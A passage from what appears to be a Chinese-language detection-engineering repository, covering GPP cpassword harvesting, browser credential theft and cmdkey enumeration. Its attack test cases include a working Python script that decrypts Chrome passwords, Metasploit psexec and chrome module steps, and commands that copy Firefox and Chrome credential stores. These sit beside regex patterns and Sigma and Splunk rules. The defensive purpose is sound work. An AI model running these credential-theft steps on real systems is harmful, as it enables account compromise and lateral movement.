Label\\Medium Mandatory Level\n    创建者进程ID: 0x15d0\n    创建者进程名称: C:\\Windows\\System32\\cmd.exe\n    进程命令行: findstr /S /I cpassword \\\\test.com\\sysvol\\test.com\\policies\\*.xml\n  ```\n- 事件ID5145：\n  ```\n  已检查网络共享对象是否可以授予客户端所需的访问权限。\n\n  主题:\n    安全ID: TEST\\user1\n    帐户名: user1\n    帐户域: TEST\n\n  网络信息:\n    对象类型: File\n    源地址: 192.168.1.100\n    源端口: 49152\n\n  共享信息:\n    共享名称: \\\\*\\SYSVOL\n    共享路径: \\??\\C:\\Windows\\SYSVOL\\sysvol\n    相对目标名称: test.com\\Policies\\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\\Machine\\Preferences\\Groups\\Groups.xml\n  ```\n\n### Sysmon日志\n- 事件ID1：\n  ```\n  事件ID:1\n  OriginalFileName:findstr.exe\n  CommandLine:findstr /S /I cpassword \\\\test.com\\sysvol\\test.com\\policies\\*.xml\n  CurrentDirectory:C:\\Users\\user1\\\n  User:TEST\\user1\n  Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID11：\n  ```\n  事件ID:11\n  Image:C:\\Windows\\System32\\findstr.exe\n  TargetFilename:\\\\test.com\\sysvol\\test.com\\policies\\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\\Machine\\Preferences\\Groups\\Groups.xml\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`findstr.exe`或PowerShell执行SYSVOL搜索。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     findstr\\.exe.*cpassword.*sysvol.*\\.xml\n     ```\n     ```regex\n     powershell\\.exe.*Get-GPPPassword\n     ```\n3. 文件监控：\n   - 检测对SYSVOL中XML文件（如`Groups.xml`、`Services.xml`）的异常访问。\n4. 网络监控：\n   - 检测到SYSVOL共享的频繁SMB连接（端口445）。\n5. 日志关联：\n   - 结合事件ID4688、5140、5145、5156，分析SYSVOL访问的源IP和用户。\n\n### Sigma规则\n优化后的Sigma规则，分为攻击机和域控检测：\n\n#### 攻击机检测\n```yaml\ntitle: GPP凭证获取-findstr搜索SYSVOL\nid: 9a0b1c2d-3e4f-5a6b-7c8d-9e0f1a2b3c4d\ndescription: 检测攻击机使用findstr搜索SYSVOL中XML文件的行为\nstatus: experimental\nreferences:\n  - https://adsecurity.org/?p=2288\ntags:\n  - attack.credential_access\n  - attack.t1552.006\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection_process:\n    EventID: 4688\n    NewProcessName|endswith: '\\findstr.exe'\n    CommandLine|contains:\n      - 'cpassword'\n      - 'sysvol'\n      - '.xml'\n  selection_network:\n    EventID: 5156\n    Direction: '出站'\n    DestinationPort: 445\n  timeframe: 30s\n  condition: selection_process and selection_network\nfields:\n  - NewProcessName\n  - CommandLine\n  - AccountName\n  - DestinationAddress\nfalsepositives:\n  - 合法的SYSVOL文件搜索\nlevel: medium\n```\n\n#### 域控检测\n```yaml\ntitle: GPP凭证获取-SYSVOL共享访问\nid: 0b1c2d3e-4f5a-6b7c-8d9e-0f1a2b3c4d5e\ndescription: 检测域控上SYSVOL共享的异常访问，可能与GPP凭证获取相关\nstatus: experimental\nreferences:\n  - https://adsecurity.org/?p=2288\ntags:\n  - attack.credential_access\n  - attack.t1552.006\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection_network:\n    EventID: 5156\n    Direction: '入站'\n    SourcePort: 445\n  selection_login:\n    EventID: 4624\n    LogonType: 3\n    LogonProcessName: 'Kerberos'\n    AuthenticationPackageName: 'Kerberos'\n  selection_share:\n    EventID: 5140\n    ObjectType: 'File'\n    ShareName: '\\\\*\\SYSVOL'\n    SharePath: '\\??\\C:\\Windows\\SYSVOL\\sysvol'\n  selection_access:\n    EventID: 5145\n    ObjectType: 'File'\n    ShareName: '\\\\*\\SYSVOL'\n    SharePath: '\\??\\C:\\Windows\\SYSVOL\\sysvol'\n    RelativeTargetName|contains: '.xml'\n  timeframe: 30s\n  condition: selection_network and selection_login and selection_share and selection_access\nfields:\n  - AccountName\n  - SourceAddress\n  - RelativeTargetName\nfalsepositives:\n  - 合法的SYSVOL访问\nlevel: medium\n```\n\n规则说明：\n- **攻击机**：检测`findstr.exe`搜索`cpassword`并发起SMB连接的行为。\n- **域控**：检测SYSVOL共享的入站连接、Kerberos登录和XML文件访问。\n- 过滤：结合时间窗口和上下文减少误报。\n- 日志来源：Windows安全日志。\n- 误报处理：合法SYSVOL访问可能触发，需分析用户和访问频率。\n- 级别：标记为“中”优先级，因需进一步确认恶意行为。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Security\"\n(EventCode=4688 NewProcessName=\"*\\findstr.exe\" CommandLine=\"*cpassword*sysvol*.xml*\"\nOR EventCode=5156 Direction=\"Outbound\" DestPort=445\nOR EventCode=5140 ShareName=\"\\\\*\\SYSVOL\" ObjectType=\"File\"\nOR EventCode=5145 ShareName=\"\\\\*\\SYSVOL\" ObjectType=\"File\" RelativeTargetName=\"*.xml*\")\n| fields NewProcessName,CommandLine,AccountName,SourceAddress,RelativeTargetName\n| transaction AccountName maxspan=30s\n```\n\n规则说明：\n- 检测SYSVOL相关操作，关联进程创建和网络访问。\n- 减少误报：使用30秒时间窗口关联事件。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审计，确保事件ID4688记录完整参数。\n   - 部署Sysmon，配置针对SYSVOL文件和`findstr.exe`的监控。\n   - 监控事件ID5140、5145，记录SYSVOL共享访问。\n2. GPP修复：\n   - 应用Microsoft补丁（KB2962486），禁用GPP密码存储。\n   - 使用Microsoft提供的脚本扫描SYSVOL中的`cpassword`。\n   - 替换GPP凭据，使用LAPS（本地管理员密码解决方案）管理本地账户。\n3. 权限控制：\n   - 限制SYSVOL的非必要访问，审查域用户权限。\n   - 监控域用户对SYSVOL的异常频繁访问。\n4. 网络防护：\n   - 限制SMB流量（端口445），仅允许必要设备访问SYSVOL。\n   - 部署IDS/IPS，检测SYSVOL的异常查询。\n5. 安全更新：\n   - 保持WindowsServer和ActiveDirectory更新。\n6. 基线管理：\n   - 定期审计SYSVOL中的XML文件，移除不必要的凭据配置。\n\n## 缓解措施\n- **漏洞扫描**：使用Microsoft提供的脚本(参考[MS14-025](https://support.microsoft.com/en-us/help/2962486))或第三方工具（如PowerSploit的`Find-GPPPassword`）扫描SYSVOL，识别包含`cpassword`的XML文件。\n- **移除凭据**：删除或修改包含`cpassword`的GPP配置，使用替代方案（如LAPS、脚本加密）。\n- **补丁管理**：应用KB2962486补丁，阻止新GPP策略存储明文密码。\n- **最小权限**：限制SYSVOL的读权限，仅允许必要账户访问。\n- **监控基线**：建立SYSVOL访问的正常行为基线，检测异常访问模式。\n\n## 参考推荐\n- MITREATT&CKT1552.006:  \n  <https://attack.mitre.org/techniques/T1552/006/>\n- 获取域管理员权限的方式:  \n  <https://attacker.cc/index.php/archives/10/>\n- 寻找SYSVOL里的密码和攻击GPP:  \n  <https://www.freebuf.com/vuls/92016.html>\n- 解密GPP中的管理员密码:  \n  <https://www.cnblogs.com/index-htm/p/5412496.html>\n- 在SYSVOL中查找密码:  \n  <https://adsecurity.org/?p=2288>\n- Get-GPPPassword:  \n  <https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1>\n- gpprefdecrypt.py:  \n  <https://github.com/t0thkr1s/gpp-decrypt>\n- Microsoft GPP协议说明:  \n  <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be>\n- MS14-025安全公告:  \n  <https://support.microsoft.com/en-us/help/2962486>\n- LAPS解决方案:  \n  <https://www.microsoft.com/en-us/download/details.aspx?id=46899>"
  },
  {
    "path": "Windows/08凭证访问/T1555.003-Win-来自web浏览器的凭证.md",
    "content": "# T1555.003-Win-来自Web浏览器的凭证\n\n## 描述\n\n攻击者可能通过访问Web浏览器存储的配置文件、数据库或内存，提取用户凭据（如网站用户名和密码）。常见浏览器（如Chrome、Firefox、Edge、Opera）通常将凭据以加密形式保存在本地文件中，但攻击者可利用系统API（如`CryptUnprotectData`）或解密工具提取明文凭据。攻击者还可能通过内存转储或模式匹配直接从浏览器进程内存中获取凭据。\n\n凭据存储位置因浏览器而异：\n- **Chrome**：`%LocalAppData%\\Google\\Chrome\\User Data\\Default\\Login Data`\n- **Firefox**：`%APPDATA%\\Mozilla\\Firefox\\Profiles\\<random_profile>\\key4.db`和`logins.json`\n- **Opera**：`%AppData%\\Opera Software\\Opera Stable\\Login Data`\n- **Edge**：`%LocalAppData%\\Microsoft\\Edge\\User Data\\Default\\Login Data`\n\n提取的凭据可用于凭据重用、横向移动或访问特权账户（如域管理员），显著缩短攻击时间。此攻击通常无需提权，普通用户权限即可执行，隐蔽性高。\n\n## 测试案例\n\n### 测试案例1：使用Metasploit提取Chrome凭据\n通过Metasploit的`post/windows/gather/credentials/chrome`模块提取Chrome保存的凭据。\n\n**命令**：\n```plaintext\nmsf6 > use post/windows/gather/credentials/chrome\nmsf6 post(windows/gather/credentials/chrome) > set SESSION <session_id>\nmsf6 post(windows/gather/credentials/chrome) > run\n```\n\n- **说明**：\n  - 提取`Login Data`文件中的加密凭据，使用`CryptUnprotectData`解密。\n  - 输出URL、用户名和明文密码。\n- **权限**：普通用户权限（需访问用户目录）。\n- **支持系统**：Windows7、WindowsServer2008及以上。\n\n### 测试案例2：手动提取并解密Chrome凭据\n通过SQL查询Chrome的`Login Data`文件，结合Python脚本解密密码。\n\n**命令**：\n```cmd\ncopy \"%LocalAppData%\\Google\\Chrome\\User Data\\Default\\Login Data\" C:\\Temp\\LoginData.sqlite\n```\n\n**Python脚本**（需安装`pywin32`和`sqlite3`）：\n```python\nimport os\nimport sqlite3\nimport win32crypt\n\ndb_path = r\"C:\\Temp\\LoginData.sqlite\"\nconn = sqlite3.connect(db_path)\ncursor = conn.cursor()\ncursor.execute(\"SELECT action_url, username_value, password_value FROM logins\")\nfor row in cursor.fetchall():\n    url, username, encrypted_password = row\n    try:\n        password = win32crypt.CryptUnprotectData(encrypted_password, None, None, None, 0)[1].decode()\n        print(f\"URL: {url}, Username: {username}, Password: {password}\")\n    except:\n        print(f\"URL: {url}, Username: {username}, Password: [Failed to decrypt]\")\nconn.close()\n```\n\n- **说明**：\n  - 复制Chrome的`Login Data`文件，查询凭据并解密。\n- **权限**：普通用户权限。\n\n### 测试案例3：提取Firefox凭据\n通过读取Firefox的`logins.json`和`key4.db`文件，使用解密工具提取凭据。\n\n**命令**：\n```cmd\ndir \"%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default-release\"\ncopy \"%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default-release\\logins.json\" C:\\Temp\\\ncopy \"%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default-release\\key4.db\" C:\\Temp\\\n```\n\n**工具**：使用`firefox_decrypt.py`（https://github.com/unode/firefox_decrypt）：\n```bash\npython3 firefox_decrypt.py -d C:\\Temp\n```\n\n- **说明**：\n  - 提取并解密Firefox保存的凭据。\n- **权限**：普通用户权限。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4663：对象访问，记录对凭据文件的读取（需启用对象访问审计）。\n  - 事件ID4688：进程创建，记录可疑工具（如`cmd.exe`、`powershell.exe`）的执行。\n- Sysmon日志：\n  - 事件ID1：进程创建，记录命令行参数。\n  - 事件ID11：文件访问，记录对`Login Data`、`logins.json`、`key4.db`等的读取。\n  - 事件ID15：文件流创建，记录凭据文件被复制或导出。\n- 文件监控：\n  - 检测对浏览器凭据文件的异常访问。\n- 进程监控：\n  - 检测异常进程（如Metasploit、Python脚本）访问浏览器数据。\n- 网络监控：\n  - 检测解密后的凭据用于异常登录尝试。\n\n### 限制\n- 事件ID4663需启用对象访问审计，否则无法记录文件访问。\n- WindowsServer2016以下版本可能不记录详细命令行参数。\n- 正常浏览器操作可能触发误报，需建立行为基线。\n\n## 测试复现\n\n### 环境准备\n- 靶机：WindowsServer2016或Windows10\n- 浏览器：Chrome、Firefox、Opera（已保存凭据）\n- 账户：普通用户账户（如TEST\\user1）\n- 工具：\n  - Metasploit（post/windows/gather/credentials/chrome）\n  - Python（pywin32、sqlite3、firefox_decrypt.py）\n  - Sysmon（可选，日志收集）\n\n### 攻击分析\n\n#### 测试1：使用Metasploit提取Chrome凭据\n1. **建立会话**：\n   使用Metasploit获得靶机会话：\n   ```plaintext\n   msf6 > use exploit/windows/smb/psexec\n   msf6 exploit(windows/smb/psexec) > set RHOST 192.168.1.100\n   msf6 exploit(windows/smb/psexec) > set SMBUSER user1\n   msf6 exploit(windows/smb/psexec) > set SMBPASS Password123\n   msf6 exploit(windows/smb/psexec) > run\n   ```\n\n2. **运行模块**：\n   ```plaintext\n   msf6 > use post/windows/gather/credentials/chrome\n   msf6 post(windows/gather/credentials/chrome) > set SESSION <session_id>\n   msf6 post(windows/gather/credentials/chrome) > run\n   ```\n   - 输出示例：\n     ```\n     URL: https://example.com\n     Username: user@example.com\n     Password: Password123\n     ```\n\n3. **结果分析**：\n   - 成功：提取Chrome保存的明文凭据。\n   - 失败可能：\n     - 未保存凭据。\n     - 会话权限不足。\n     - 防病毒软件拦截。\n\n#### 测试2：手动提取Chrome凭据\n1. **复制数据库**：\n   ```cmd\n   copy \"%LocalAppData%\\Google\\Chrome\\User Data\\Default\\Login Data\" C:\\Temp\\LoginData.sqlite\n   ```\n\n2. **运行Python脚本**：\n   保存上述Python脚本为`decrypt_chrome.py`，执行：\n   ```cmd\n   python decrypt_chrome.py\n   ```\n\n3. **结果分析**：\n   - 成功：输出URL、用户名和明文密码。\n   - 失败可能：Python环境缺失或文件被锁定。\n\n#### 测试3：提取Firefox凭据\n1. **定位配置文件**：\n   ```cmd\n   dir \"%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default-release\"\n   ```\n\n2. **复制文件**：\n   ```cmd\n   copy \"%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default-release\\logins.json\" C:\\Temp\\\n   copy \"%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default-release\\key4.db\" C:\\Temp\\\n   ```\n\n3. **解密凭据**：\n   在Kali上运行：\n   ```bash\n   python3 firefox_decrypt.py -d /mnt/c/Temp\n   ```\n\n4. **结果分析**：\n   - 成功：提取Firefox保存的凭据。\n   - 失败可能：未保存凭据或解密工具失效。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4663：\n  ```\n  试图访问对象。\n\n  主题:\n    安全ID: TEST\\user1\n    帐户名: user1\n    帐户域: TEST\n    登录ID: 0x7169C\n\n  对象:\n    对象服务器: Security\n    对象类型: File\n    对象名称: C:\\Users\\user1\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\n    句柄ID: 0x1a4\n\n  访问请求信息:\n    访问: ReadData\n  ```\n- 事件ID4688：\n  ```\n  已创建新进程。\n\n  创建者主题:\n    安全ID: TEST\\user1\n    帐户名: user1\n    帐户域: TEST\n    登录ID: 0x7169C\n\n  进程信息:\n    新进程ID: 0xd3c\n    新进程名称: C:\\Windows\\System32\\cmd.exe\n    令牌提升类型: %%1936\n    强制性标签: Mandatory Label\\Medium Mandatory Level\n    创建者进程ID: 0x15d0\n    创建者进程名称: C:\\Windows\\explorer.exe\n    进程命令行: cmd.exe /c copy \"C:\\Users\\user1\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"...\n  ```\n\n### Sysmon日志\n- 事件ID1：\n  ```\n  事件ID: 1\n  OriginalFileName: cmd.exe\n  CommandLine: C:\\Windows\\system32\\cmd.exe /c dir C:\\Users\\user1\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\\n  CurrentDirectory: C:\\Users\\user1\\\n  User: TEST\\user1\n  LogonGuid: {00000000-0000-0000-0000-000000000000}\n  LogonId: 0x7169C\n  TerminalSessionId: 4\n  IntegrityLevel: Medium\n  Hashes: SHA1=5C0D1E2F3A4B5C6D7E8F9A0B1C2D3E4F5A6D7E8F,MD5=A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6\n  ParentProcessGuid: {00000000-0000-1111-2222-333333333333}\n  ParentProcessId: 0x15d0\n  ParentImage: C:\\Windows\\explorer.exe\n  ParentCommandLine: C:\\Windows\\Explorer.EXE\n  ```\n- 事件ID11：\n  ```\n  事件ID:11\n  Image:C:\\Windows\\System32\\cmd.exe\n  TargetFilename:C:\\Users\\user1\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`cmd.exe`、`powershell.exe`或可疑进程（如Python）访问浏览器凭据文件。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     (cmd\\.exe|powershell\\.exe).*(Chrome\\\\User Data\\\\Default\\\\Login Data|Mozilla\\\\Firefox\\\\Profiles.*(key4\\.db|logins\\.json)|Opera Software\\\\Opera Stable\\\\Login Data)\n     ```\n3. 文件监控：\n   - 检测对`Login Data`、`logins.json`、`key4.db`的异常访问或复制。\n   - 监控非预期路径下的导出文件（如`.sqlite`、`.json`）。\n4. 对象访问审计：\n   - 启用事件ID4663，记录对凭据文件的读取。\n5. 网络监控：\n   - 检测解密后的凭据用于异常登录（HTTP/HTTPS流量）。\n\n### Sigma规则\n优化后的Sigma规则，增强误报过滤：\n```yaml\ntitle: Web浏览器凭据文件访问\nid: a0b1c2d3-e4f5-a6b7-c8d9-e0f1a2b3c4d6\ndescription: 检测对Chrome、Firefox、Opera凭据文件的异常访问\nstatus: experimental\nreferences:\n  - https://attack.mitre.org/techniques/T1555/003/\ntags:\n  - attack.credential_access\n  - attack.t1555.003\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection:\n    EventID: 4663\n    ObjectServer: 'Security'\n    ObjectType: 'File'\n    ObjectName|contains:\n      - '\\Google\\Chrome\\User Data\\Default\\Login Data'\n      - '\\Mozilla\\Firefox\\Profiles\\key4.db'\n      - '\\Mozilla\\Firefox\\Profiles\\logins.json'\n      - '\\Opera Software\\Opera Stable\\Login Data'\n    AccessMask: '0x1' # ReadData\n  filter_legitimate:\n    ProcessName|contains:\n      - '\\chrome.exe'\n      - '\\firefox.exe'\n      - '\\opera.exe'\n  condition: selection and not filter_legitimate\nfields:\n  - ObjectName\n  - ProcessName\n  - AccountName\nfalsepositives:\n  - 合法浏览器操作\nlevel: medium\n```\n\n规则说明：\n- 目标：检测对浏览器凭据文件的异常访问。\n- 过滤：排除浏览器自身进程的正常访问。\n- 日志来源：Windows安全日志事件ID4663。\n- 误报处理：需启用对象访问审计，结合进程上下文分析。\n- 级别：标记为“中”优先级，因需进一步确认恶意行为。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Security\"\nEventCode=4663 ObjectType=\"File\" (ObjectName=\"*Chrome*Login Data*\" OR ObjectName=\"*Firefox*key4.db*\" OR ObjectName=\"*Firefox*logins.json*\" OR ObjectName=\"*Opera*Login Data*\") AccessMask=\"0x1\"\nNOT ProcessName IN (\"*chrome.exe\",\"*firefox.exe\",\"*opera.exe\")\n| fields ObjectName,ProcessName,AccountName\n```\n\n规则说明：\n- 检测凭据文件访问，排除浏览器自身操作。\n- 减少误报：结合进程名称和用户上下文分析。\n\n### 检测挑战\n- 误报：浏览器正常操作可能触发，需建立基线。\n- 日志依赖：需启用对象访问审计（事件ID4663）。\n- 隐蔽性：攻击使用系统工具（如`cmd.exe`），难以区分合法与恶意行为。\n\n## 防御建议\n1. 监控和日志：\n   - 启用对象访问审计，记录事件ID4663。\n   - 部署Sysmon，配置针对浏览器凭据文件的监控。\n2. 凭据管理：\n   - 配置浏览器不保存敏感凭据，或使用主密码保护。\n   - 定期清理浏览器保存的凭据。\n3. 文件保护：\n   - 限制普通用户对浏览器配置文件目录的访问权限。\n   - 使用文件完整性监控工具检测篡改。\n4. 软件更新：\n   - 保持浏览器更新，修复潜在漏洞。\n5. 网络监控：\n   - 监控异常的HTTP/HTTPS登录尝试，检测凭据重用。\n\n## 参考推荐\n- MITREATT&CKT1555.003:  \n  <https://attack.mitre.org/techniques/T1555/003/>\n- 窃取Chrome和Firefox密码:  \n  <https://null-byte.wonderhowto.com/how-to/hacking-windows-10-steal-decrypt-passwords-stored-chrome-firefox-remotely-0183600/>\n- Firefox凭据解密工具:  \n  <https://github.com/unode/firefox_decrypt>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- Metasploit浏览器凭据模块:  \n  <https://www.metasploit.com/>"
  },
  {
    "path": "Windows/08凭证访问/T1555.005-Win-cmdkey获取凭据(白名单).md",
    "content": "# T1555.005-Win-cmdkey获取凭据\n\n## 描述\n\n攻击者可能通过Windows内置工具`cmdkey.exe`获取存储在系统中的用户凭据。`cmdkey.exe`用于管理Windows凭据缓存，允许用户创建、显示、删除或修改存储的凭据（如域用户凭据或远程桌面连接的密码）。这些凭据通常用于远程系统管理任务，可能包含明文用户名和密码。\n\n攻击者利用`cmdkey /list`命令枚举缓存凭据，提取目标系统的用户名和密码（若以明文存储），或通过进一步操作（如内存转储）获取加密凭据。获取的凭据可用于横向移动或特权提升。`cmdkey`操作无需提权，普通域用户即可执行，隐蔽性较高。\n\n## 测试案例\n\n### 测试案例1：使用cmdkey枚举凭据\n通过`cmdkey /list`命令列出当前用户的缓存凭据。\n\n**命令**：\n```cmd\ncmdkey /list\n```\n\n- **示例输出**：\n  ```\n  当前保存的凭据:\n\n      目标: Domain:target=server01.test.com\n      类型: 域密码\n      用户: TEST\\user1\n      仅为此登录保存\n\n      目标: MicrosoftAccount:target=SSO_POP_Device\n      类型: 域扩展的凭据\n      用户: 02bdiisjiovu\n      本地机器持续时间\n  ```\n\n- **说明**：\n  - 显示存储的凭据，包括目标服务器、用户名和凭据类型。\n  - 攻击者可利用用户名尝试进一步攻击。\n- **权限**：普通域用户权限。\n- **支持系统**：Windows7、WindowsServer2008及以上。\n\n### 测试案例2：添加并提取凭据\n通过`cmdkey`添加测试凭据并枚举。\n\n**命令**：\n```cmd\ncmdkey /add:server01.test.com /user:TEST\\user1 /pass:Password123\ncmdkey /list\n```\n\n- **说明**：\n  - 手动添加凭据后，使用`/list`提取。\n  - 攻击者可利用此方法测试目标系统是否存储明文凭据。\n- **权限**：普通域用户权限。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`cmdkey.exe`的执行信息。\n- Sysmon日志：\n  - 事件ID1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID11：文件创建，记录可能的凭据导出文件。\n- 文件监控：\n  - 检测非预期路径下保存的凭据导出文件（如`.txt`）。\n- 行为监控：\n  - 检测`cmdkey.exe`的异常使用模式（如频繁执行`/list`）。\n\n## 测试复现\n\n### 环境准备\n- 靶机：WindowsServer2012或Windows10\n- 账户：域用户账户（如TEST\\user1）\n- 工具：\n  - Sysmon（可选，日志收集）\n  - 文本编辑器（记录输出）\n\n### 攻击分析\n\n#### 测试1：使用cmdkey枚举凭据\n1. **登录靶机**：\n   使用域用户账户登录：\n   ```cmd\n   net use \\\\DC1.test.com\\IPC$ /user:TEST\\user1 Password123\n   ```\n\n2. **添加测试凭据**：\n   ```cmd\n   cmdkey /add:server01.test.com /user:TEST\\user1 /pass:TestPass123\n   ```\n\n3. **枚举凭据**：\n   ```cmd\n   cmdkey /list\n   ```\n   - 输出包含`server01.test.com`的凭据信息。\n\n4. **记录凭据**：\n   将输出重定向到文件：\n   ```cmd\n   cmdkey /list > C:\\Temp\\credentials.txt\n   ```\n\n5. **传输文件**：\n   通过SMB或HTTP将`credentials.txt`传输到攻击机。\n\n6. **结果分析**：\n   - 成功：提取缓存的用户名和目标服务器信息，可用于进一步攻击。\n   - 失败可能：\n     - 无缓存凭据。\n     - 权限限制阻止文件写入。\n     - 防病毒软件拦截`cmdkey`操作。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4688：\n  ```\n  已创建新进程。\n\n  创建者主题:\n    安全ID: TEST\\user1\n    帐户名: user1\n    帐户域: TEST\n    登录ID: 0x7169C\n\n  进程信息:\n    新进程ID: 0xd3c\n    新进程名称: C:\\Windows\\System32\\cmdkey.exe\n    令牌提升类型: %%1936\n    强制性标签: Mandatory Label\\Medium Mandatory Level\n    创建者进程ID: 0x15d0\n    创建者进程名称: C:\\Windows\\System32\\cmd.exe\n    进程命令行: cmdkey /list\n  ```\n\n### Sysmon日志\n- 事件ID1：\n  ```\n  事件ID:1\n  OriginalFileName:cmdkey.exe\n  CommandLine:cmdkey /list\n  CurrentDirectory:C:\\Users\\user1\\\n  User:TEST\\user1\n  Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID11（若导出文件）：\n  ```\n  事件ID:11\n  Image:C:\\Windows\\System32\\cmdkey.exe\n  TargetFilename:C:\\Temp\\credentials.txt\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`cmdkey.exe`的执行，尤其是`/list`参数。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     cmdkey\\.exe.*\\/list\n     ```\n3. 文件监控：\n   - 检测非预期路径下保存的凭据导出文件（如`.txt`）。\n4. 行为分析：\n   - 检测`cmdkey /list`的频繁执行或异常用户上下文。\n5. 日志分析：\n   - 监控事件ID4688，结合命令行参数确认`cmdkey`操作。\n\n### Sigma规则\n优化后的Sigma规则，增强误报过滤：\n```yaml\ntitle: Windows下cmdkey获取凭据\nid: 6d7e8f9a-0b1c-2d3e-4f5a-6b7c8d9e0f1a\ndescription: 检测cmdkey.exe枚举凭据的异常行为\nstatus: experimental\nreferences:\n  - https://attack.mitre.org/techniques/T1555/005/\ntags:\n  - attack.credential_access\n  - attack.t1555.005\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection:\n    EventID: 4688\n    NewProcessName|endswith: '\\cmdkey.exe'\n    CommandLine|contains: '/list'\n  filter_legitimate:\n    CreatorProcessName|contains:\n      - 'C:\\Program Files\\'\n      - 'C:\\Program Files (x86)\\'\n  condition: selection and not filter_legitimate\nfields:\n  - NewProcessName\n  - CommandLine\n  - CreatorProcessName\n  - AccountName\nfalsepositives:\n  - 合法的管理员操作\nlevel: medium\n```\n\n规则说明：\n- 目标：检测`cmdkey.exe`执行`/list`操作的行为。\n- 过滤：排除合法程序路径的调用。\n- 日志来源：Windows安全日志事件ID4688。\n- 误报处理：管理员维护操作可能触发，需结合用户上下文分析。\n- 级别：标记为“中”优先级，因需进一步确认恶意行为。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Security\"\nEventCode=4688 NewProcessName=\"*\\cmdkey.exe\" CommandLine=\"* /list *\"\nNOT CreatorProcessName IN (\"*Program Files*\")\n| fields NewProcessName,CommandLine,CreatorProcessName,AccountName\n```\n\n规则说明：\n- 检测`cmdkey /list`的执行，排除合法路径的调用。\n- 减少误报：结合父进程和用户上下文分析。\n\n### 检测挑战\n- 误报：管理员的合法凭据管理操作可能触发，需建立基线。\n- 日志依赖：需启用命令行审计（WindowsServer2012及以上）。\n- 隐蔽性：`cmdkey`为系统工具，难以区分合法与恶意使用。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审计，确保事件ID4688记录完整参数。\n   - 部署Sysmon，配置针对`cmdkey.exe`的规则。\n2. 凭据管理：\n   - 限制用户存储明文凭据，定期清理缓存凭据。\n   - 使用组策略禁用不必要的凭据缓存（路径：`计算机配置>管理模板>系统>凭据委派`）。\n3. 权限控制：\n   - 限制普通用户对`cmdkey.exe`的执行权限。\n   - 监控域用户账户的异常活动。\n4. 文件保护：\n   - 监控非预期路径下的凭据导出文件。\n5. 安全更新：\n   - 保持Windows系统更新，修复潜在漏洞。\n\n## 参考推荐\n- MITREATT&CKT1555.005:  \n  <https://attack.mitre.org/techniques/T1555/005/>\n- 红蓝对抗之Windows内网渗透:  \n  <https://blog.csdn.net/Tencent_SRC/article/details/107853395>\n- 利用cmdkey辅助渗透提权:  \n  <https://www.secpulse.com/archives/66084.html>\n- Microsoft cmdkey文档:  \n  <https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc754243(v=ws.11)>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n"
  },
  {
    "path": "Windows/08凭证访问/T1555.005-Win-命令行获取Finalshell软件保存的公钥.md",
